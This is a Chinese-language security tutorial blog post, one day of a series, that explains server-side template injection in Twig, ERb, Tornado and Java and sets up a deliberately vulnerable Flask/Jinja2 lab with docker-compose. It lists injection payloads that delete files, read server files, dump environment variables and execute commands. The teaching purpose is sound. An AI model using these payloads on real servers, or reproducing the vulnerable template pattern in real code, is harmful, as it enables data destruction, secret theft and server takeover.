iT邦幫忙

第 12 屆 iT 邦幫忙鐵人賽

DAY 9
1
Security

資安這條路─以自建漏洞環境學習資訊安全系列 第 9

資安這條路 09 - [Injection] Server-side template injection

Template & template 引擎

  • 提到弱點之前要先跟大家談談什麼是 Template ,如果你本身有在開發網站的人,可能對樣板引擎會比較熟悉。

Server-side template injection

  • Server-side template injection
    • 惡意攻擊者透過惡意請求,其中包含惡意的「樣板語法」,讓這個樣板語法在伺服器被執行。
  • 風險
    • 除了可以讀取伺服器上的敏感資料外,甚至可以執行遠端伺服器的指令,就等於掌控該台伺服器

範例

  • 以 PHP 中 twig 為例子
    • $output = $twig->render("你好 {first_name},", array("first_name" => $user.first_name) );
    • 透過 twig 去炫染使用者的名稱,而且是直接從 user 撈名字出來→沒有問題
    • $output = $twig->render("你好 " . $_GET['name']);
    • 如果我們今天,讓使用者可以控制 name 這個參數,可能就有問題了。
    • 看到參數我們就可以來檢測,不管是 XSS 、 SQL injection 或是我們前面介紹過的各種 injection 都是有可能會發生的。
    • SSTI 可以測各種特殊符號 ${{<%[%'"}}%\
      • ${7*7}
    • $output = $twig->render("你好 " . $_GET['name']);
      • name = Fei你好 Fei
      • name = ${7*7}你好 49
        • 欸,怎麼被解析了 !
      • name = ${self}你好 Object of class __TwigTemplate_7ae62e582f8a35e5ea6cc639800ecf15b96c0d6f78db3538221c1145580ca4a5 could not be converted to string
  • 以 Ruby on Rails 中的 ERb 為例子
    • 透過 <%= 內容 %>
      • <%= 7*7 %>
    • Ruby
      • system 可執行伺服器指令
    • 任意刪除檔案
      • <%= system("rm filepath") %>
      • LAB
    • 任意讀取檔案
      <%= Dir.entries('/') %>
      <%= File.open('/example/arbitrary-file').read %>
      
  • 以 Python 中的 Tornado 為例子
    • 透過 {{ 內容 }}
      • {{7*7}}
    • 透過 {% Python %}
      {% import os %}
      {{os.system('rm filepath')
      
    • LAB
  • java
    • 找環境變數
      • ${T(java.lang.System).getenv()}
    • shell
      • $class.inspect("java.lang.Runtime").type.getRuntime().exec("bad-stuff-here")

練習

  • LAB
    • Open source 專案
      from flask import Flask, request
      from jinja2 import Template
      
      app = Flask(__name__)
      
      @app.route("/")
      def index():
          name = request.args.get('name', 'guest')
      
          t = Template("Hello " + name)
          return t.render()
      
      if __name__ == "__main__":
          app.run()
      
      • docker-compose.yml
      version: '2'
      services:
       web:
         image: vulhub/flask:1.1.1
         volumes:
          - ./src:/app
         ports:
          - "8000:8000"
      

上一篇
資安這條路 08 - [injection] CRLF injection
下一篇
資安這條路 10 - [跨站腳本漏洞] Store XSS , Relate XSS , DOM XSS
系列文
資安這條路─以自建漏洞環境學習資訊安全31

尚未有邦友留言

立即登入留言